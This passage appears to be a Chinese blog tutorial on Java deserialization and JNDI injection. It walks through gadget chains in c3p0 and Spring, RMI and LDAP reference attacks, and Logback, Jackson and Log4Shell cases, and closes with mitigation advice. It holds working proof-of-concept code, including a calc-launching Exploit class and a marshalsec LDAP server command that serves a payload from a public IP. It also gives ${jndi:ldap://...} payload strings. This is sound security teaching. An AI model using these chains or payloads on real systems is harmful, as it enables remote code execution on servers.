    14. Method m2=o2.getClass().getDeclaredMethod("nextElement");
    15. m2.setAccessible(true);
    16. m2.invoke(o2);
    17. }

    (4)JNDIConfiguration

    1. //JNDIConfiguration
    2. private String prefix;
    3. private Context context;
    4. private Context baseContext;
    5. public Context getBaseContext() throws NamingException {
    6. if (this.baseContext == null) {
    7. this.baseContext = (Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix);
    8. }
    9. return this.baseContext;
    10. }
    11. public Context getContext() {
    12. return this.context;
    13. }

    如果传入的Context为InitialContext,prefix参数如果为rmi://ip:port/Evil,即可实现JNDI攻击。测试代码如下:

    1. public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. InitialContext ctx=new InitialContext();
    5. JNDIConfiguration jndiConfiguration=new JNDIConfiguration(ctx,"rmi://127.0.0.1:1099/Evil");
    6. jndiConfiguration.getBaseContext();
    7. }

    另外,getKeys调用了getBaseContext方法,在XStream这种反序列化调用链的构造中需要向上寻找调用方法。

    1. public Iterator<String> getKeys() {
    2. return this.getKeys("");
    3. }
    4. public Iterator<String> getKeys(String prefix) {
    5. ...
    6. Context context = this.getContext(path, this.getBaseContext());
    7. }

    (5)JndiRefForwardingDataSource

    JndiRefForwardingDataSource的dereference方法中的InitialContext.lookup非常明显,只需要将jndiName设为想要的url,jndiName是父类JndiRefDataSourceBase中的属性。

    测试代码:

    1. public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. Class c=Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
    5. Constructor constructor=c.getConstructor(null);
    6. constructor.setAccessible(true);
    7. Object o=constructor.newInstance();
    8. Field f1=o.getClass().getSuperclass().getDeclaredField("jndiName");
    9. f1.setAccessible(true);
    10. f1.set(o,"rmi://127.0.0.1:1099/Evil");
    11. Method m1=o.getClass().getDeclaredMethod("dereference");
    12. m1.setAccessible(true);
    13. m1.invoke(o);
    14. }

    如果考虑调用链,向上寻找调用函数inner(),inner()调用dereference()的前提是cachedInner不为空

    (6)WrapperConnectionPoolDataSource

    设置属性userOverridesAsString,那么就会在注册listener时,调用parseUserOverridesAsString。

    该方法会对传入的数据进行反序列化操作,fromByteArray方法的最后包含一步Object.getObject操作。

    最重要走到的是com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized,该类中具有InitialContext.lookup方法,并且具有getObject方法。那么想要将上述类与其串联,就要求fromByteArray方法中反序列化得到的Object是ReferenceIndirector或者是其底层接口IndirectlySerialized。

    ReferenceSerialized类测试代码如下,如果要与上述WrapperConnectionPoolDataSource串联,则需要将ReferenceSerialized类对象进行反序列化,并赋值给属性userOverridesAsString。

    1. public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
    5. Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
    6. con.setAccessible(true);
    7. Reference jndiref = new Reference("Foo", "Evil", "http://127.0.0.1:1389");
    8. Object ref = con.newInstance(jndiref, null, null, null);
    9. Method m1=ref.getClass().getDeclaredMethod("getObject");
    10. m1.setAccessible(true);
    11. m1.invoke(ref);
    12. }

    (7)PropertyPathFactoryBean

    这个类最终用到的lookup是JndiTemplate类中的方法,SimpleJndiBeanFactory则是JndiTemplate的工厂类,也就是说SimpleJndiBeanFactory中的getBean方法可以调用到JndiTemplate。那么也就需要PropertyPathFactoryBean的beanFactory传入的是SimpleJndiBeanFactory。这样调用链大致是SimpleJndiBeanFactory.setBeanFactory -> SimpleJndiBeanFactory.getBean -> JndiTemplate.lookup。

    另外,想要执行到PropertyPathFactoryBean的getBean那行,首先targetBeanName和propertyPath都不能为null,另外isSingleton需要为true(即,shareableResource属性中属需要有targetBeanName的值)。

    1. // PropertyPathFactoryBean
    2. public void setBeanFactory(BeanFactory beanFactory) {
    3. this.beanFactory = beanFactory;
    4. if (this.targetBeanWrapper != null && this.targetBeanName != null) {
    5. throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
    6. } else {
    7. if (this.targetBeanWrapper == null && this.targetBeanName == null) {
    8. if (this.propertyPath != null) {
    9. throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
    10. }
    11. ...
    12. } else if (this.propertyPath == null) {
    13. throw new IllegalArgumentException("'propertyPath' is required");
    14. }
    15. if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) { //isSingleton
    16. Object bean = this.beanFactory.getBean(this.targetBeanName); //getBean
    17. this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
    18. this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
    19. }
    20. }
    21. }
    22. //SimpleJndiBeanFactory
    23. public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
    24. return this.shareableResources.contains(name);
    25. }
    26. public Object getBean(String name) throws BeansException {
    27. return this.getBean(name, Object.class);
    28. }
    29. public T getBean(String name, Class requiredType) throws BeansException {
    30. try {
    31. return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
    32. } ...
    33. }
    34. private T doGetSingleton(String name, Class requiredType) throws NamingException {
    35. synchronized(this.singletonObjects) {
    36. Object jndiObject;
    37. if (this.singletonObjects.containsKey(name)) {
    38. ...
    39. } else {
    40. jndiObject = this.lookup(name, requiredType); //lookup
    41. this.singletonObjects.put(name, jndiObject);
    42. return jndiObject;
    43. }
    44. }
    45. }
    46. //JndiLocatorSupport
    47. protected T lookup(String jndiName, Class requiredType) throws NamingException {
    48. ...
    49. try {
    50. jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
    51. } ...
    52. }
    53. // JndiTemplate
    54. public T lookup(String name, Class requiredType) throws NamingException {
    55. Object jndiObject = this.lookup(name);...
    56. }
    57. public Object lookup(final String name) throws NamingException {
    58. ....
    59. return this.execute(new JndiCallback() {
    60. public Object doInContext(Context ctx) throws NamingException {
    61. Object located = ctx.lookup(name);...
    62. }
    63. });
    64. }
    65. 测试代码:

      1. public static void main(String[] args) throws Exception {
      2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
      3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
      4. String jndiUrl="rmi://127.0.0.1:1099/Evil";
      5. SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
      6. bf.setShareableResources(new String[]{jndiUrl});
      7. PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
      8. ppf.setTargetBeanName(jndiUrl);
      9. ppf.setPropertyPath("foo");
      10. Reflections.setFieldValue(ppf, "beanFactory", bf);
      11. ppf.setBeanFactory(bf);
      12. }

      (8)PartiallyComparableAdvisorHolder

      PartiallyComparableAdvisorHolder最后用到的也是SimpleJndiBeanFactory类,然后调用JndiLocatorSupport、JndiTemplate lookup。

      调用链大致如下:

      1. PartiallyComparableAdvisorHolder.toString()
      2. AspectJPointcutAdvisor.getOrder()
      3. AbstractAspectJAdvice. getOrder()
      4. BeanFactoryAspectInstanceFactory.getOrder()
      5. SimpleJndiBeanFactory.getType()
      6. SimpleJndiBeanFactory.doGetType()

      调用链相关类的代码如下:

      1. // PartiallyComparableAdvisorHolder
      2. public PartiallyComparableAdvisorHolder(Advisor advisor, Comparator comparator) {
      3. this.advisor = advisor;
      4. this.comparator = comparator;
      5. }
      6. public String toString() {
      7. Advice advice = this.advisor.getAdvice();
      8. ...
      9. if (this.advisor instanceof Ordered) {
      10. sb.append(": order = ").append(((Ordered)this.advisor).getOrder());
      11. ...
      12. }
      13. }
      14. // AspectJPointcutAdvisor
      15. public int getOrder() {
      16. return this.order != null ? this.order : this.advice.getOrder();
      17. }
      18. // AbstractAspectJAdvice
      19. public int getOrder() {
      20. return this.aspectInstanceFactory.getOrder();
      21. }
      22. // BeanFactoryAspectInstanceFactory
      23. public int getOrder() {
      24. // getType
      25. Class type = this.beanFactory.getType(this.name);
      26. if (type != null) {
      27. return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);
      28. } else {
      29. return 2147483647;
      30. }
      31. }
      32. // SimpleJndiBeanFactory
      33. public Class getType(String name) throws NoSuchBeanDefinitionException {
      34. try {
      35. return this.doGetType(name);
      36. } ...
      37. }
      38. private Class doGetType(String name) throws NamingException {
      39. if (this.isSingleton(name)) {
      40. Object jndiObject = this.doGetSingleton(name, (Class)null);
      41. return jndiObject != null ? jndiObject.getClass() : null;
      42. } else {
      43. synchronized(this.resourceTypes) {
      44. if (this.resourceTypes.containsKey(name)) {
      45. return (Class)this.resourceTypes.get(name);
      46. } else {
      47. // 后续调用JndiLocatorSupport、JndiTemplate lookup
      48. Object jndiObject = this.lookup(name, (Class)null);
      49. Class type = jndiObject != null ? jndiObject.getClass() : null;
      50. this.resourceTypes.put(name, type);
      51. return type;
      52. }
      53. }
      54. }
      55. }

      测试代码:

      1. public static void main(String[] args) throws Exception {
      2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
      3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
      4. String jndiUrl="rmi://127.0.0.1:1099/Evil";
      5. SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
      6. bf.setShareableResources(new String[]{jndiUrl});
      7. AspectInstanceFactory aif = (AspectInstanceFactory)Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
      8. Reflections.setFieldValue(aif, "beanFactory", bf);
      9. Reflections.setFieldValue(aif, "name", jndiUrl);
      10. AbstractAspectJAdvice advice = (AbstractAspectJAdvice)Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
      11. Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
      12. AspectJPointcutAdvisor advisor = (AspectJPointcutAdvisor)Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
      13. Reflections.setFieldValue(advisor, "advice", advice);
      14. Class pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
      15. Object pcah = Reflections.createWithoutConstructor(pcahCl);
      16. Reflections.setFieldValue(pcah, "advisor", advisor);
      17. pcah.toString();
      18. }

      (9)AbstractBeanFactoryPointcutAdvisor

      最终同样是调用SimpleJndiBeanFactory.getBean,调用链如下:

      1. AbstractPointcutAdvisor.equals()
      2. AbstractBeanFactoryPointcutAdvisor.getAdvice()
      3. SimpleJndiBeanFactory.getBean()

      调用链相关类具体代码如下:

      1. // AbstractPointcutAdvisor
      2. public boolean equals(Object other) {
      3. if (this == other) {
      4. return true;
      5. } else if (!(other instanceof PointcutAdvisor)) {
      6. return false;
      7. } else {
      8. PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
      9. return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
      10. }
      11. }
      12. // AbstractBeanFactoryPointcutAdvisor
      13. public Advice getAdvice() {
      14. synchronized(this.adviceMonitor) {
      15. if (this.advice == null && this.adviceBeanName != null) {
      16. Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
      17. this.advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
      18. }
      19. return this.advice;
      20. }
      21. }
      22. // SimpleJndiBeanFactory
      23. public T getBean(String name, Class requiredType) throws BeansException {
      24. try {
      25. return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
      26. }...
      27. }

      SimpleJndiBeanFactory.lookup方法后的参数name需要设为JNDI url地址,也就是说this.adviceBeanName要设置成JNDI url。为了equals能调用到AbstractBeanFactoryPointcutAdvisor,其object参数应传入AbstractBeanFactoryPointcutAdvisor,但是AbstractBeanFactoryPointcutAdvisor是一个抽象类,所以选取其实现类中的一个DefaultBeanFactoryPointcutAdvisor,并且想要调用到getBean那步,要求this.beanFactory!=null。

      测试代码如下:

      1. public static void main(String[] args) throws Exception {
      2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
      3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
      4. SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
      5. String jndiUrl="rmi://127.0.0.1:1099/Evil";
      6. bf.setShareableResources(new String[]{jndiUrl});
      7. DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
      8. pcadv.setBeanFactory(bf);
      9. pcadv.setAdviceBeanName(jndiUrl);
      10. pcadv.equals(new DefaultBeanFactoryPointcutAdvisor());
      11. }

      五、JNDI注入

      在InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。

      1. package com.rmi.demo;
      2. import javax.naming.InitialContext;
      3. import javax.naming.NamingException;
      4. public class jndi {
      5. public static void main(String[] args) throws NamingException {
      6. String uri = "rmi://127.0.0.1:1099/work";
      7. InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
      8. initialContext.lookup(uri);//获取指定的远程对象
      9. }
      10. }

      JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。

      JNDI+RMI实现攻击

      RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法:

      1. package com.rmi.jndi;
      2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
      3. import javax.naming.NamingException;
      4. import javax.naming.Reference;
      5. import java.rmi.AlreadyBoundException;
      6. import java.rmi.RemoteException;
      7. import java.rmi.registry.LocateRegistry;
      8. import java.rmi.registry.Registry;
      9. public class server {
      10. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
      11. String url = "http://127.0.0.1:8080/";
      12. Registry registry = LocateRegistry.createRegistry(1099);
      13. Reference reference = new Reference("test", "test", url);
      14. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
      15. registry.bind("obj",referenceWrapper);
      16. System.out.println("running");
      17. }
      18. }

      服务端的代码是这样的,意思是,注册一个rmi服务,端口为1099,自己的实现类为url的部分,最后去绑定(bind)这个服务为一个名字。

      下面还需要一段执行命令的代码,挂载在web页面上让server端去请求。

      1. package com.rmi.jndi;
      2. import java.io.IOException;
      3. public class test {
      4. public static void main(String[] args) throws IOException {
      5. Runtime.getRuntime().exec("calc");
      6. }
      7. }

      RMIClient代码:

      1. package com.rmi.jndi;
      2. import javax.naming.InitialContext;
      3. import javax.naming.NamingException;
      4. public class client {
      5. public static void main(String[] args) throws NamingException {
      6. String url = "rmi://localhost:1099/obj";
      7. InitialContext initialContext = new InitialContext();
      8. initialContext.lookup(url);
      9. }
      10. }

      原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

      JNDI+LDAP实现攻击

      LDAP轻型目录访问协议是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

      除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

      不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

      围绕JNDI LDAP注入,图是偷的,看这个图就感觉很清晰。

      操作和rmi大体类似:

      恶意类:Exploit.java:

      1. import javax.naming.Context;
      2. import javax.naming.Name;
      3. import javax.naming.spi.ObjectFactory;
      4. import java.io.IOException;
      5. import java.io.Serializable;
      6. import java.util.Hashtable;
      7. public class Exploit implements ObjectFactory, Serializable {
      8. public Exploit(){
      9. try{
      10. Runtime.getRuntime().exec("calc");
      11. }catch (IOException e){
      12. e.printStackTrace();
      13. }
      14. }
      15. public static void main(String[] args){
      16. Exploit exploit = new Exploit();
      17. }
      18. @Override
      19. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
      20. return null;
      21. }
      22. }

      编译成class文件即可。

      使用marshalsec构建ldap服务,服务端监听:

      /root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666
      

      客户端发起ldap请求

      客户端代码:

      1. import javax.naming.InitialContext;
      2. import javax.naming.NamingException;
      3. public class JNDIClient {
      4. public static void main(String[] args) throws NamingException {
      5. new InitialContext().lookup("ldap://119.45.227.86:6666/a");
      6. }
      7. }

      自己搭建ldap利用环境的时候,出现了先不到类名foo,肯能是高版本jdk限制的原因
      rmi和ldap的利用可执行恶意代码,可升级高版本jdk,高版本jdk的限制是把com.sun.jndi.rmi.object.trustURLCodebase、
      com.sun.jndi.ldap.object.trustURLCodebase 的默认值变为false。

      1. 如果想使用,修改如下:
      2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
      3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

      在log4j2漏洞中,如果设置了这两个属性为false,但是使用${java:os}或者其他的变量还是可以输出Java平台信息,版本信息,虚拟机信息等。

      六、序列化漏洞案例分析

      Logback 远程代码执行漏洞(CVE-2021-42550)

      这个漏洞就是一个 JNDI 注入漏洞,之所以会发生,是因为 Logback 支持通过 JNDI 查询来从外部获取日志配置信息,比如数据库或其他集中管理平台。

      Logback 对返回的数据校验不足。如果攻击者修改了 logback 的配置文件,将 JNDI 地址配置成了恶意地址,就有可能导致应用里反序列化恶意对象,从而执行恶意方法。

      从上面可以看到,这个漏洞要求攻击者有主机文件的写权限,所以虽然这个漏洞在公司内部被标记为高危,其实影响并不大。如果攻击者有写权限,那也说明这个主机沦陷了,那他也可以直接执行命令。

      之所以一般还是推荐修复,一个是公司安全政策,另一个就是漏洞的累积效应。每个漏洞单独看起来可能没有问题,但多个漏洞累积起来可能就会造成威胁。

      拿本漏洞来说,单独看问题不大,但也可能被用来提权。比如开发 A 有写入logback.xml 的权限,应用是在运维 B 的权限下运行。攻击者获取了 A 的权限后,就可以让有 B 权限的应用执行命令来提权,从而让攻击者获取 B 的权限。这个场景只是人为制造来说说明问题,并不代表实际是这样的,所以容易修复最好修复,不容易修复具体问题就具体评估。

      具体到这个漏洞,官方的修复代码如下。可以看到修复方案就是直接把 logback 里 JNDI 的lookup 给注释掉,其实就相当于废弃了 JNDI 功能,不过 logback 里用 JNDI 本来就特殊,升级到新版本的话估计影响不大。

      Jackson-databind 反序列化漏洞(CVE-2021-20190)

      这个反序列化漏洞在上一节 JSON 里已经解释的很清楚了,只不过该漏洞用的不是 JdbcRowSetImpl ,而是 javax.swing.JTextPane。

      注意,这里并不是说应用代码里没有用到 javax.swing.JTextPane ,就不会收到影响,而是说如果 Jackson 代码里允许了 enableDefaultTyping,只要依赖里有javax.swing.JTextPane ,就会受到攻击,而这是 JDK 里的类库,所以一般应用依赖里都有,除非用了 Java 的模块化排除。

      官方的修复方案也很简单,就是在自己的黑名单里把这个类给加上了。

      log4j Shell 序列化漏洞

      Log4Shell 虽然也是一个 JNDI 漏洞,但它的特殊之处在于,利用门槛要远远低于一般的 JNDI 漏洞,所以危害很大,危险等级被 Apache 定为最高的 10 级。这个漏洞的利用门槛包括:

      JDK 版本:这个漏洞无论 JDK 版本是多少都能不能拦截

      log4j:版本参考漏洞说明

      服务器:会基于 log4j 来记录用户传入的数据,有出访网络权限

      利用原理

      除了正常的日志记录,log4j 还支持占位符模式。比如我们可以在配置模板里写 ${date:yyyy-MM-dd},那么 Log4j 在写实际日志时会将当前日期替换为形如 2022-03-21 这种格式记录下来。如果在模板里写 ${java:version},Log4j 就会获取实际的 JDK 版本将其记录下来。

      除了这些常规的,Log4j 还支持更复杂 JNDI 模式。如果实际生成日志是遇到 ${jndi:xxx://ip:port/a} 这种模式,log4j 会真的执行 JNDI 查询,获取对应的数据,然后写入日志,这很明显有很大的问题。

      对一个应用来说,在日志里记录用户的搜索关键字、登录用户名等等很平常,如果用户把这个登录用户名、搜索关键字替换成 jndi 地址,当服务器记录时,就会执行 JNDI 查询,从而导致系统被攻击,qq 邮箱的搜索框、icloud 的用户名都是这样被攻击的。

      另外需要注意的是,只要日志里记录外部传输的恶意数据,就有可能会导致攻击,并不仅限于用户输入,比如说很多系统会采集参数、或者请求头,攻击者可以简单用个 api,请求参数里随便写,只要参数里携带${jndi:xxx} 就会造成威胁。因为数据校验之前,请求参数已经写入系统日志里了。或者随便加个请求头 cuostomXxxHeader: ${jndi:xxx},也能有一样的效果。

      这里一个重要的利用点是服务器的出访请求,这样攻击者才能让服务器下载自己的恶意脚本。一般服务器即使没有公网访出权限,也有内网访出权限,所以即使有公网出访限制,这个漏洞还是有一定的威胁,应该也要升级版本,以预防内网某台机器有问题导致所有机器都都有问题的情形。

      漏洞复现

      网上有很多 log4j Shell 的 POC 代码,按说明就可以很方便的复现这个漏洞。

      我们这里的复现做了简化,下面是一个单文件运行示例,依赖了 2.14.1 版本的 log4j,然后从命令行读取参数,用 log4j 记录。

      运行java Log4jShellAttack chendw,就会输出 “hello: chendw”,这是正常流程。

      如果运行占位符,比如 java Log4jShellAttack ${java:version},log4j 会将占位符替换,输出对应的本机 Java 版本。

      更危险的是,我们可以传入 jndi 服务器路径,让 log4j 来下载对应的恶意代码。这里我们使用“log4shell.tools”网站提供的 ldap 服务来验证。当然你也可以自己本地部署一个 ldap 服务,或者 rmi 服务,或者其他任何 jndi 支持的协议。

      在“log4shell.tools”网站上获取一个自己特定的 url 作为参数传入 log4j,如果 log4j 去做了 lookup,该网站就会收到应用本机发的请求,从而下发对应的恶意服务,并将请求记录展现出来:

      1. java Log4jShellAttack ${
      2. jndi:ldap://5bb26e33-4b30-4080-a3d2-5522a5b97d3b.dns.log4shell.tools:12345/5bb26e33-4b30-4080-a3d2-5522a5b97d3b}

      从截图可以看出来,代码运行后输出的是hello :Reference Class Name: Log4Shell ,说明 log4j 执行了 lookup 并获取了 ldap 恶意类,“log4shell.tools”也显示了我们应用向它发起过请求。

      另外,代码里之所以要设置 trustURLCodebase 是因为最新版 Java 现在禁止自动信任 RMI 和 LADP 下载的远程类,但现在用的大部分 JDK 都还是自动信任的。另外,这个禁止只是防止了在这个漏洞里使用 rmi 和 ladp 来下载恶意类,我们还可以利用其它方式来利用这个漏洞。因此这个漏洞并不能靠升级 JDK 版本来解决,一定要升级 log4j 版本。

      1. import org.apache.logging.log4j.LogManager;
      2. import org.apache.logging.log4j.Logger;
      3. public class Log4jShellAttack {
      4. private static final Logger logger = LogManager.getLogger(Log4jShellAttack.class);;
      5. public static void main(String[] args) {
      6. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
      7. String username = args[0];
      8. logger.error("hello :" + username);
      9. }
      10. }

       

      分析了这个漏洞后,首先想到的就是 Unix 哲学里推崇的“Write programs that do one thing and do it well.”还是很有道理的。

      JNID 这个功能点在日志框架里被用到的几率感觉极其小,logback 注掉了 JNDI 功能,也没看到网上有人反馈升级后用不了。不怎么用的功能却带来了大部分问题,而且影响的还包括没使用这个功能点的用户,这就得不偿失了。日志框架应该只专注常规功能,特有功能的话应该通过插件来提供,谁用谁配置。Java 其实也有向这个趋势发展,比如 Java 模块化系统,用什么显式配置什么,我不用javax.swing,就不会经常受到swing 包里那些类的影响。

      七、Java 序列化的改进

      Java 引入序列化功能的时间太长了,太多应用和库依赖于 Java 现有的序列化功能,因此废弃现有序列化机制是不可想象的。

      Java 应对自身序列化问题的主要方法是,提供一个只序列化数据而不需要序列化对象状态的渠道。具体来说就是 java16 引入的 record。record 引入虽然主要是为了减少模板代码,但同时也提供了一个新的序列化机制。在新的序列化机制下,record 的序列化是通过构造器初始化,然后走访问器 get/set,当然这个机制主要是针对数据类,但我们实际开发中的大部分场景,不管是 api 接口数据、前后端数据交互、缓存数据存储,和序列化相关的其实大部分都是数据类。因此感觉record 已经能满足我们大部分序列化需求了。

      针对非数据类,Java 计划提供注解或其他方式,来让我们自己控制序列化和反序列化,但这种工作量明显更大,而现存的 Externalizable 在某种程度上也能实现这个功能,但效果还是差强人意。

      Java9(JEP 290)还引入了一个全局的反序列化过滤器,这样你就可以在反序列化之前验证传入的数据流,但对复杂场景来说这个过滤器有其局限性,后来 JEP 415 又提供了过滤器工厂来尝试完全解决这个局限性,让我们的过滤器可配置并在 JVM 范围内起作用,但用的人好像很少。

      综上,感觉实际开发中 Java 的序列化还是用record 比较好。

      如何避免 Java 序列化漏洞?

      1. 不反序列化不信任的外部数据,至少在反序列化外部输入数据时要想一下。

      2. 在反序列化的时候尽量使用具体类,不要使用 Object 或太通用的基础接口:

      objectMapper.readValue(json, Object.class);

      3. 使用 Jackson 时不要启动enableDefaultType 功能。

      4. 更新到最新的库。

      5. 做出访限制:很多攻击都依赖于服务器对外访问,来下载恶意脚本,或向外发送本地数据。出访白名单能限制大部分的漏洞攻击。

    66. 相关阅读:
      【Java 基础篇】Java 实现模拟斗地主游戏
      什么是大数据测试?有哪些类型?应该怎么测?
      JAVA【设计模式】外观模式
      省HVV初体验(edu)
      app小程序手机端Python爬虫实战04-u2自动化工具基本操作-操作设备
      【k8s实战】kubeasz离线部署多master高可用集群
      学了个学教育游戏与源码
      操作系统权限提升(二十七)之数据库提权-MySQL MOF提权
      java计算机毕业设计springboot+vue考研资料分享系统
      自然语言处理:Transformer与GPT
    67. 原文地址:https://blog.csdn.net/qq_35029061/article/details/126157014